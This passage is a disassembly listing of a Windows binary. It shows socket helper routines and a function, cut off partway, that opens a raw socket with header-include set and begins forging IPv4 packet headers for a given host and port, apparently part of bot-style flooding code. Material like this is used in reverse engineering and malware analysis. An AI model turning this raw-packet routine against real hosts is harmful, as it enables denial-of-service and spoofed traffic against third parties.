xor eax, eax
jmp short loc_404D99
; ---------------------------------------------------------------------------
loc_404D6A: ; CODE XREF: sub_404D4D+Ej
mov eax, [ebp+arg_4]
mov eax, [eax+4]
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov [ecx+eax*4+0Ch], edx
mov eax, [ebp+arg_4]
mov eax, [eax+4]
inc eax
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
mov eax, [eax+4]
xor edx, edx
cmp eax, [ecx]
setnz dl
mov eax, edx
loc_404D99: ; CODE XREF: sub_404D4D+1Bj
pop ebp
retn
sub_404D4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404D9B proc near ; CODE XREF: sub_41349C+512p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_404DAC
; ---------------------------------------------------------------------------
loc_404DA5: ; CODE XREF: sub_404D9B:loc_404E18j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_404DAC: ; CODE XREF: sub_404D9B+8j
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
cmp ecx, [eax+4]
jnb short locret_404E1A
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov eax, [ecx+eax*4+0Ch]
cmp eax, [ebp+arg_0]
jnz short loc_404E18
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
cmp ecx, [eax+8]
jb short loc_404DDE
mov eax, [ebp+arg_4]
mov eax, [eax+8]
dec eax
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
loc_404DDE: ; CODE XREF: sub_404D9B+34j
mov eax, [ebp+arg_4]
mov eax, [eax+4]
sub eax, [ebp+var_4]
shl eax, 2
push eax
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax*4+10h]
push eax
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax*4+0Ch]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_4]
mov eax, [eax+4]
dec eax
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
jmp short locret_404E1A
; ---------------------------------------------------------------------------
loc_404E18: ; CODE XREF: sub_404D9B+29j
jmp short loc_404DA5
; ---------------------------------------------------------------------------
locret_404E1A: ; CODE XREF: sub_404D9B+1Aj
; sub_404D9B+7Bj
leave
retn
sub_404D9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404E1C proc near ; CODE XREF: sub_41349C+45Fp
; sub_4143B0+14Ep
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, [ebp+arg_0]
and dword ptr [eax+8], 0
mov eax, [ebp+arg_0]
and dword ptr [eax+80Ch], 0
and [ebp+var_8], 0
jmp short loc_404E41
; ---------------------------------------------------------------------------
loc_404E3A: ; CODE XREF: sub_404E1C+BDj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_404E41: ; CODE XREF: sub_404E1C+1Cj
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+4]
jnb loc_404EDE
loc_404E50: ; CODE XREF: sub_404E1C+B7j
and [ebp+var_14], 0
jmp short loc_404E5D
; ---------------------------------------------------------------------------
loc_404E56: ; CODE XREF: sub_404E1C:loc_404E86j
mov eax, [ebp+var_14]
inc eax
mov [ebp+var_14], eax
loc_404E5D: ; CODE XREF: sub_404E1C+38j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
cmp ecx, [eax+80Ch]
jnb short loc_404E88
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov esi, [ebp+arg_0]
mov eax, [ecx+eax*4+810h]
cmp eax, [esi+edx*4+0Ch]
jnz short loc_404E86
jmp short loc_404E88
; ---------------------------------------------------------------------------
loc_404E86: ; CODE XREF: sub_404E1C+66j
jmp short loc_404E56
; ---------------------------------------------------------------------------
loc_404E88: ; CODE XREF: sub_404E1C+4Dj
; sub_404E1C+68j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
cmp ecx, [eax+80Ch]
jnz short loc_404ECF
mov eax, [ebp+arg_0]
cmp dword ptr [eax+80Ch], 200h
jnb short loc_404ECF
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4+0Ch]
mov [ecx+eax*4+810h], edx
mov eax, [ebp+arg_0]
mov eax, [eax+80Ch]
inc eax
mov ecx, [ebp+arg_0]
mov [ecx+80Ch], eax
loc_404ECF: ; CODE XREF: sub_404E1C+78j
; sub_404E1C+87j
xor eax, eax
test eax, eax
jnz loc_404E50
jmp loc_404E3A
; ---------------------------------------------------------------------------
loc_404EDE: ; CODE XREF: sub_404E1C+2Ej
and [ebp+var_10], 0
mov [ebp+var_C], 3E8h
lea eax, [ebp+var_10]
push eax
push 0
mov eax, [ebp+arg_0]
add eax, 80Ch
push eax
push 0
push 0
call ds:dword_41722C ; select
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_404F1A
cmp [ebp+var_4], 0FFFFFFFFh
jz short loc_404F1A
mov [ebp+var_18], 1
jmp short loc_404F1E
; ---------------------------------------------------------------------------
loc_404F1A: ; CODE XREF: sub_404E1C+EDj
; sub_404E1C+F3j
and [ebp+var_18], 0
loc_404F1E: ; CODE XREF: sub_404E1C+FCj
mov eax, [ebp+var_18]
pop esi
leave
retn
sub_404E1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F24 proc near ; CODE XREF: sub_41349C+470p
; sub_4143B0+16Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov eax, [eax+8]
mov [ebp+var_4], eax
jmp short loc_404F3A
; ---------------------------------------------------------------------------
loc_404F33: ; CODE XREF: sub_404F24:loc_404F77j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_404F3A: ; CODE XREF: sub_404F24+Dj
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
cmp ecx, [eax+4]
jnb short loc_404F79
mov eax, [ebp+arg_0]
add eax, 80Ch
push eax
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+0Ch]
call sub_416E30 ; __WSAFDIsSet
test eax, eax
jz short loc_404F77
mov eax, [ebp+var_4]
inc eax
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov eax, [ecx+eax*4+0Ch]
jmp short locret_404F7B
; ---------------------------------------------------------------------------
loc_404F77: ; CODE XREF: sub_404F24+3Bj
jmp short loc_404F33
; ---------------------------------------------------------------------------
loc_404F79: ; CODE XREF: sub_404F24+1Fj
xor eax, eax
locret_404F7B: ; CODE XREF: sub_404F24+51j
leave
retn
sub_404F24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F7D proc near ; CODE XREF: sub_404FD0+6p
; sub_41349C+59Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_404F8E
; ---------------------------------------------------------------------------
loc_404F87: ; CODE XREF: sub_404F7D+37j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_404F8E: ; CODE XREF: sub_404F7D+8j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
cmp ecx, [eax+4]
jnb short loc_404FB6
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+0Ch]
call sub_4053B1
pop ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
and dword ptr [ecx+eax*4+0Ch], 0
jmp short loc_404F87
; ---------------------------------------------------------------------------
loc_404FB6: ; CODE XREF: sub_404F7D+1Aj
mov eax, [ebp+arg_0]
and dword ptr [eax+4], 0
mov eax, [ebp+arg_0]
and dword ptr [eax+8], 0
mov eax, [ebp+arg_0]
and dword ptr [eax+80Ch], 0
leave
retn
sub_404F7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404FD0 proc near ; CODE XREF: sub_41349C+5FBp
; sub_4143B0+238p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call sub_404F7D
pop ecx
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
pop ebp
retn
sub_404FD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404FE7 proc near ; CODE XREF: sub_412BC9+11p
; sub_41349C+40Ep ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
push 20h
push 0
lea eax, [ebp+var_24]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_8]
and eax, 2
test eax, eax
jz short loc_405010
mov [ebp+var_20], 17h
jmp short loc_405027
; ---------------------------------------------------------------------------
loc_405010: ; CODE XREF: sub_404FE7+1Ej
mov eax, [ebp+arg_8]
and eax, 1
test eax, eax
jz short loc_405023
mov [ebp+var_20], 2
jmp short loc_405027
; ---------------------------------------------------------------------------
loc_405023: ; CODE XREF: sub_404FE7+31j
and [ebp+var_20], 0
loc_405027: ; CODE XREF: sub_404FE7+27j
; sub_404FE7+3Aj
mov eax, [ebp+arg_8]
and eax, 4
xor ecx, ecx
test eax, eax
setnz cl
inc ecx
mov [ebp+var_1C], ecx
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_24]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41DE84 ; getaddrinfo
test eax, eax
jz short loc_405057
xor eax, eax
jmp locret_4050E8
; ---------------------------------------------------------------------------
loc_405057: ; CODE XREF: sub_404FE7+67j
mov eax, [ebp+var_28]
mov [ebp+var_4], eax
jmp short loc_405068
; ---------------------------------------------------------------------------
loc_40505F: ; CODE XREF: sub_404FE7+A8j
; sub_404FE7+F4j
mov eax, [ebp+var_4]
mov eax, [eax+1Ch]
mov [ebp+var_4], eax
loc_405068: ; CODE XREF: sub_404FE7+76j
cmp [ebp+var_4], 0
jz short loc_4050DD
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
mov eax, [ebp+var_4]
push dword ptr [eax+8]
mov eax, [ebp+var_4]
push dword ptr [eax+4]
call ds:dword_417218 ; socket
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0FFFFFFFFh
jnz short loc_405091
jmp short loc_40505F
; ---------------------------------------------------------------------------
loc_405091: ; CODE XREF: sub_404FE7+A6j
push 0
push [ebp+var_2C]
call sub_404457
pop ecx
pop ecx
mov eax, [ebp+var_4]
push dword ptr [eax+10h]
mov eax, [ebp+var_4]
push dword ptr [eax+18h]
push [ebp+var_2C]
call ds:dword_4171F4 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4050D2
call ds:dword_417224 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_4050D2
push [ebp+var_28]
call dword_41DE8C ; freeaddrinfo
mov eax, [ebp+var_2C]
jmp short locret_4050E8
; ---------------------------------------------------------------------------
loc_4050D2: ; CODE XREF: sub_404FE7+CEj
; sub_404FE7+DBj
push [ebp+var_2C]
call sub_4053B1
pop ecx
jmp short loc_40505F
; ---------------------------------------------------------------------------
loc_4050DD: ; CODE XREF: sub_404FE7+85j
push [ebp+var_28]
call dword_41DE8C ; freeaddrinfo
xor eax, eax
locret_4050E8: ; CODE XREF: sub_404FE7+6Bj
; sub_404FE7+E9j
leave
retn
sub_404FE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4050EA proc near ; CODE XREF: sub_401E38+80p
; sub_402698+16p ...
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_838 = dword ptr -838h
var_834 = dword ptr -834h
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 844h
mov eax, [ebp+arg_C]
cdq
mov ecx, 3E8h
idiv ecx
mov [ebp+var_834], eax
mov eax, [ebp+arg_C]
cdq
mov ecx, 3E8h
idiv ecx
imul edx, 3E8h
mov [ebp+var_830], edx
push 20h
push 0
lea eax, [ebp+var_24]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_8]
and eax, 2
test eax, eax
jz short loc_40513E
mov [ebp+var_20], 17h
jmp short loc_405155
; ---------------------------------------------------------------------------
loc_40513E: ; CODE XREF: sub_4050EA+49j
mov eax, [ebp+arg_8]
and eax, 1
test eax, eax
jz short loc_405151
mov [ebp+var_20], 2
jmp short loc_405155
; ---------------------------------------------------------------------------
loc_405151: ; CODE XREF: sub_4050EA+5Cj
and [ebp+var_20], 0
loc_405155: ; CODE XREF: sub_4050EA+52j
; sub_4050EA+65j
mov eax, [ebp+arg_8]
and eax, 4
xor ecx, ecx
test eax, eax
setnz cl
inc ecx
mov [ebp+var_1C], ecx
lea eax, [ebp+var_82C]
push eax
lea eax, [ebp+var_24]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41DE84 ; getaddrinfo
test eax, eax
jz short loc_405188
xor eax, eax
jmp locret_40538B
; ---------------------------------------------------------------------------
loc_405188: ; CODE XREF: sub_4050EA+95j
mov eax, [ebp+var_82C]
mov [ebp+var_4], eax
jmp short loc_40519C
; ---------------------------------------------------------------------------
loc_405193: ; CODE XREF: sub_4050EA+E3j
; sub_4050EA+128j ...
mov eax, [ebp+var_4]
mov eax, [eax+1Ch]
mov [ebp+var_4], eax
loc_40519C: ; CODE XREF: sub_4050EA+A7j
cmp [ebp+var_4], 0
jz loc_40537D
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
mov eax, [ebp+var_4]
push dword ptr [eax+8]
mov eax, [ebp+var_4]
push dword ptr [eax+4]
call ds:dword_417218 ; socket
mov [ebp+var_83C], eax
cmp [ebp+var_83C], 0FFFFFFFFh
jnz short loc_4051CF
jmp short loc_405193
; ---------------------------------------------------------------------------
loc_4051CF: ; CODE XREF: sub_4050EA+E1j
push 0
push [ebp+var_83C]
call sub_404457
pop ecx
pop ecx
mov eax, [ebp+var_4]
push dword ptr [eax+10h]
mov eax, [ebp+var_4]
push dword ptr [eax+18h]
push [ebp+var_83C]
call ds:dword_4171F4 ; connect
mov [ebp+var_838], eax
cmp [ebp+var_838], 0
jz short loc_405217
call ds:dword_417224 ; WSAGetLastError
cmp eax, 2733h
jz short loc_405217
jmp loc_405193
; ---------------------------------------------------------------------------
loc_405217: ; CODE XREF: sub_4050EA+119j
; sub_4050EA+126j
and [ebp+var_828], 0
loc_40521E: ; CODE XREF: sub_4050EA+1AFj
and [ebp+var_840], 0
jmp short loc_405234
; ---------------------------------------------------------------------------
loc_405227: ; CODE XREF: sub_4050EA:loc_405259j
mov eax, [ebp+var_840]
inc eax
mov [ebp+var_840], eax
loc_405234: ; CODE XREF: sub_4050EA+13Bj
mov eax, [ebp+var_840]
cmp eax, [ebp+var_828]
jnb short loc_40525B
mov eax, [ebp+var_840]
mov eax, [ebp+eax*4+var_824]
cmp eax, [ebp+var_83C]
jnz short loc_405259
jmp short loc_40525B
; ---------------------------------------------------------------------------
loc_405259: ; CODE XREF: sub_4050EA+16Bj
jmp short loc_405227
; ---------------------------------------------------------------------------
loc_40525B: ; CODE XREF: sub_4050EA+156j
; sub_4050EA+16Dj
mov eax, [ebp+var_840]
cmp eax, [ebp+var_828]
jnz short loc_405295
cmp [ebp+var_828], 200h
jnb short loc_405295
mov eax, [ebp+var_840]
mov ecx, [ebp+var_83C]
mov [ebp+eax*4+var_824], ecx
mov eax, [ebp+var_828]
inc eax
mov [ebp+var_828], eax
loc_405295: ; CODE XREF: sub_4050EA+17Dj
; sub_4050EA+189j
xor eax, eax
test eax, eax
jnz short loc_40521E
lea eax, [ebp+var_834]
push eax
push 0
lea eax, [ebp+var_828]
push eax
push 0
push 0
call ds:dword_41722C ; select
cmp eax, 1
jnz short loc_4052E0
push 1
push [ebp+var_83C]
call sub_404457
pop ecx
pop ecx
push [ebp+var_82C]
call dword_41DE8C ; freeaddrinfo
mov eax, [ebp+var_83C]
jmp locret_40538B
; ---------------------------------------------------------------------------
loc_4052E0: ; CODE XREF: sub_4050EA+1CEj
; sub_4050EA+27Cj
and [ebp+var_844], 0
jmp short loc_4052F6
; ---------------------------------------------------------------------------
loc_4052E9: ; CODE XREF: sub_4050EA:loc_405360j
mov eax, [ebp+var_844]
inc eax
mov [ebp+var_844], eax
loc_4052F6: ; CODE XREF: sub_4050EA+1FDj
mov eax, [ebp+var_844]
cmp eax, [ebp+var_828]
jnb short loc_405362
mov eax, [ebp+var_844]
mov eax, [ebp+eax*4+var_824]
cmp eax, [ebp+var_83C]
jnz short loc_405360
loc_405319: ; CODE XREF: sub_4050EA+265j
mov eax, [ebp+var_828]
dec eax
cmp [ebp+var_844], eax
jnb short loc_405351
mov eax, [ebp+var_844]
mov ecx, [ebp+var_844]
mov ecx, [ebp+ecx*4+var_820]
mov [ebp+eax*4+var_824], ecx
mov eax, [ebp+var_844]
inc eax
mov [ebp+var_844], eax
jmp short loc_405319
; ---------------------------------------------------------------------------
loc_405351: ; CODE XREF: sub_4050EA+23Cj
mov eax, [ebp+var_828]
dec eax
mov [ebp+var_828], eax
jmp short loc_405362
; ---------------------------------------------------------------------------
loc_405360: ; CODE XREF: sub_4050EA+22Dj
jmp short loc_4052E9
; ---------------------------------------------------------------------------
loc_405362: ; CODE XREF: sub_4050EA+218j
; sub_4050EA+274j
xor eax, eax
test eax, eax
jnz loc_4052E0
push [ebp+var_83C]
call sub_4053B1
pop ecx
jmp loc_405193
; ---------------------------------------------------------------------------
loc_40537D: ; CODE XREF: sub_4050EA+B6j
push [ebp+var_82C]
call dword_41DE8C ; freeaddrinfo
xor eax, eax
locret_40538B: ; CODE XREF: sub_4050EA+99j
; sub_4050EA+1F1j
leave
retn
sub_4050EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40538D proc near ; CODE XREF: sub_401E38+26Ep
; sub_4020C2+3FBp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 1
push [ebp+arg_0]
call ds:dword_417200 ; shutdown
push 3E8h
call ds:dword_41709C ; Sleep
push [ebp+arg_0]
call sub_4053B1
pop ecx
pop ebp
retn
sub_40538D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053B1 proc near ; CODE XREF: sub_404279+77p
; sub_40432E+1Cp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call ds:dword_417230 ; closesocket
pop ebp
retn
sub_4053B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053BF proc near ; CODE XREF: sub_401E38+15Cp
; sub_4020C2+2F9p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_41720C ; send
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
leave
retn
sub_4053BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053DC proc near ; CODE XREF: sub_403DF3+D1p
; sub_405443+21p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_8], 2
jnb short loc_4053F6
push 271Eh
call ds:dword_417234 ; WSASetLastError
or eax, 0FFFFFFFFh
jmp short locret_405441
; ---------------------------------------------------------------------------
loc_4053F6: ; CODE XREF: sub_4053DC+8j
push 0
mov eax, [ebp+arg_8]
dec eax
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_417248 ; recv
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_405418
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_40541D
loc_405418: ; CODE XREF: sub_4053DC+34j
mov eax, [ebp+var_4]
jmp short locret_405441
; ---------------------------------------------------------------------------
loc_40541D: ; CODE XREF: sub_4053DC+3Aj
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jb short loc_405435
push 271Eh
call ds:dword_417234 ; WSASetLastError
or eax, 0FFFFFFFFh
jmp short locret_405441
; ---------------------------------------------------------------------------
loc_405435: ; CODE XREF: sub_4053DC+47j
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
and byte ptr [eax], 0
mov eax, [ebp+var_4]
locret_405441: ; CODE XREF: sub_4053DC+18j
; sub_4053DC+3Fj ...
leave
retn
sub_4053DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405443 proc near ; CODE XREF: sub_402698+8Dp
; sub_402698+2BEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push [ebp+arg_C]
push [ebp+arg_0]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_40545B
xor eax, eax
jmp short loc_40546C
; ---------------------------------------------------------------------------
loc_40545B: ; CODE XREF: sub_405443+12j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4053DC
add esp, 0Ch
loc_40546C: ; CODE XREF: sub_405443+16j
pop ebp
retn
sub_405443 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40546E proc near ; CODE XREF: sub_405443+9p
; sub_410649+2Dp ...
var_1018 = dword ptr -1018h
var_1014 = dword ptr -1014h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_804 = dword ptr -804h
var_800 = dword ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1018h
call sub_416BC0
and [ebp+var_804], 0
and [ebp+var_1008], 0
loc_405489: ; CODE XREF: sub_40546E+90j
and [ebp+var_1014], 0
jmp short loc_40549F
; ---------------------------------------------------------------------------
loc_405492: ; CODE XREF: sub_40546E:loc_4054C1j
mov eax, [ebp+var_1014]
inc eax
mov [ebp+var_1014], eax
loc_40549F: ; CODE XREF: sub_40546E+22j
mov eax, [ebp+var_1014]
cmp eax, [ebp+var_804]
jnb short loc_4054C3
mov eax, [ebp+var_1014]
mov eax, [ebp+eax*4+var_800]
cmp eax, [ebp+arg_0]
jnz short loc_4054C1
jmp short loc_4054C3
; ---------------------------------------------------------------------------
loc_4054C1: ; CODE XREF: sub_40546E+4Fj
jmp short loc_405492
; ---------------------------------------------------------------------------
loc_4054C3: ; CODE XREF: sub_40546E+3Dj
; sub_40546E+51j
mov eax, [ebp+var_1014]
cmp eax, [ebp+var_804]
jnz short loc_4054FA
cmp [ebp+var_804], 200h
jnb short loc_4054FA
mov eax, [ebp+var_1014]
mov ecx, [ebp+arg_0]
mov [ebp+eax*4+var_800], ecx
mov eax, [ebp+var_804]
inc eax
mov [ebp+var_804], eax
loc_4054FA: ; CODE XREF: sub_40546E+61j
; sub_40546E+6Dj
xor eax, eax
test eax, eax
jnz short loc_405489
loc_405500: ; CODE XREF: sub_40546E+107j
and [ebp+var_1018], 0
jmp short loc_405516
; ---------------------------------------------------------------------------
loc_405509: ; CODE XREF: sub_40546E:loc_405538j
mov eax, [ebp+var_1018]
inc eax
mov [ebp+var_1018], eax
loc_405516: ; CODE XREF: sub_40546E+99j
mov eax, [ebp+var_1018]
cmp eax, [ebp+var_1008]
jnb short loc_40553A
mov eax, [ebp+var_1018]
mov eax, [ebp+eax*4+var_1004]
cmp eax, [ebp+arg_0]
jnz short loc_405538
jmp short loc_40553A
; ---------------------------------------------------------------------------
loc_405538: ; CODE XREF: sub_40546E+C6j
jmp short loc_405509
; ---------------------------------------------------------------------------
loc_40553A: ; CODE XREF: sub_40546E+B4j
; sub_40546E+C8j
mov eax, [ebp+var_1018]
cmp eax, [ebp+var_1008]
jnz short loc_405571
cmp [ebp+var_1008], 200h
jnb short loc_405571
mov eax, [ebp+var_1018]
mov ecx, [ebp+arg_0]
mov [ebp+eax*4+var_1004], ecx
mov eax, [ebp+var_1008]
inc eax
mov [ebp+var_1008], eax
loc_405571: ; CODE XREF: sub_40546E+D8j
; sub_40546E+E4j
xor eax, eax
test eax, eax
jnz short loc_405500
mov eax, [ebp+arg_4]
xor edx, edx
mov ecx, 3E8h
div ecx
mov [ebp+var_1010], eax
mov eax, [ebp+arg_4]
xor edx, edx
mov ecx, 3E8h
div ecx
imul edx, 3E8h
mov [ebp+var_100C], edx
lea eax, [ebp+var_1010]
push eax
lea eax, [ebp+var_1008]
push eax
push 0
lea eax, [ebp+var_804]
push eax
push 1
call ds:dword_41722C ; select
cmp eax, 1
jz short loc_4055C9
xor eax, eax
jmp short locret_4055E3
; ---------------------------------------------------------------------------
loc_4055C9: ; CODE XREF: sub_40546E+155j
lea eax, [ebp+var_804]
push eax
push [ebp+arg_0]
call sub_416E30 ; __WSAFDIsSet
test eax, eax
jz short loc_4055E1
push 1
pop eax
jmp short locret_4055E3
; ---------------------------------------------------------------------------
loc_4055E1: ; CODE XREF: sub_40546E+16Cj
xor eax, eax
locret_4055E3: ; CODE XREF: sub_40546E+159j
; sub_40546E+171j
leave
retn
sub_40546E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4055E5 proc near ; DATA XREF: sub_405E45+113o
var_1358 = dword ptr -1358h
var_1354 = dword ptr -1354h
var_1350 = dword ptr -1350h
var_134C = dword ptr -134Ch
var_1348 = dword ptr -1348h
var_1344 = dword ptr -1344h
var_1340 = dword ptr -1340h
var_133C = dword ptr -133Ch
var_1338 = dword ptr -1338h
var_1334 = dword ptr -1334h
var_118D = byte ptr -118Dh
var_108D = byte ptr -108Dh
var_1087 = dword ptr -1087h
var_1083 = dword ptr -1083h
var_107F = dword ptr -107Fh
var_1078 = dword ptr -1078h
var_1074 = byte ptr -1074h
var_1058 = byte ptr -1058h
var_14 = dword ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1358h
call sub_416BC0
push 2B9h
push [ebp+arg_0]
lea eax, [ebp+var_1334]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 0FFh
push 3
push 2
call ds:dword_417218 ; socket
mov [ebp+var_1078], eax
cmp [ebp+var_1078], 0FFFFFFFFh
jnz short loc_405643
push [ebp+var_1334]
call sub_409763
pop ecx
xor eax, eax
jmp locret_405E41
; ---------------------------------------------------------------------------
loc_405643: ; CODE XREF: sub_4055E5+49j
mov [ebp+var_1340], 1
push 4
lea eax, [ebp+var_1340]
push eax
push 2
push 0
push [ebp+var_1078]
call ds:dword_417204 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_40567E
push [ebp+var_1334]
call sub_409763
pop ecx
xor eax, eax
jmp locret_405E41
; ---------------------------------------------------------------------------
loc_40567E: ; CODE XREF: sub_4055E5+84j
push 0
push [ebp+var_1078]
call sub_404457
pop ecx
pop ecx
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_10], 2
lea eax, [ebp+var_108D]
push eax
call sub_416B9C ; atoi
pop ecx
push eax
call ds:dword_417238 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_118D]
push eax
call ds:dword_417244 ; inet_addr
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_405710
lea eax, [ebp+var_118D]
push eax
call ds:dword_41723C ; gethostbyname
mov [ebp+var_1344], eax
cmp [ebp+var_1344], 0
jnz short loc_405700
push [ebp+var_1334]
call sub_409763
pop ecx
xor eax, eax
jmp locret_405E41
; ---------------------------------------------------------------------------
loc_405700: ; CODE XREF: sub_4055E5+106j
mov eax, [ebp+var_1344]
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_C], eax
loc_405710: ; CODE XREF: sub_4055E5+EAj
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_405729
push [ebp+var_1334]
call sub_409763
pop ecx
xor eax, eax
jmp locret_405E41
; ---------------------------------------------------------------------------
loc_405729: ; CODE XREF: sub_4055E5+12Fj
push 1060h
push 0
lea eax, [ebp+var_1074]
push eax
call sub_416B6A ; memset
add esp, 0Ch
lea eax, [ebp+var_1074]
mov [ebp+var_133C], eax
lea eax, [ebp+var_1058]
mov [ebp+var_14], eax
mov eax, [ebp+var_133C]
mov al, [eax]
and al, 0F0h
or al, 5
mov ecx, [ebp+var_133C]
mov [ecx], al
mov eax, [ebp+var_133C]
mov al, [eax]
and al, 0Fh
or al, 40h
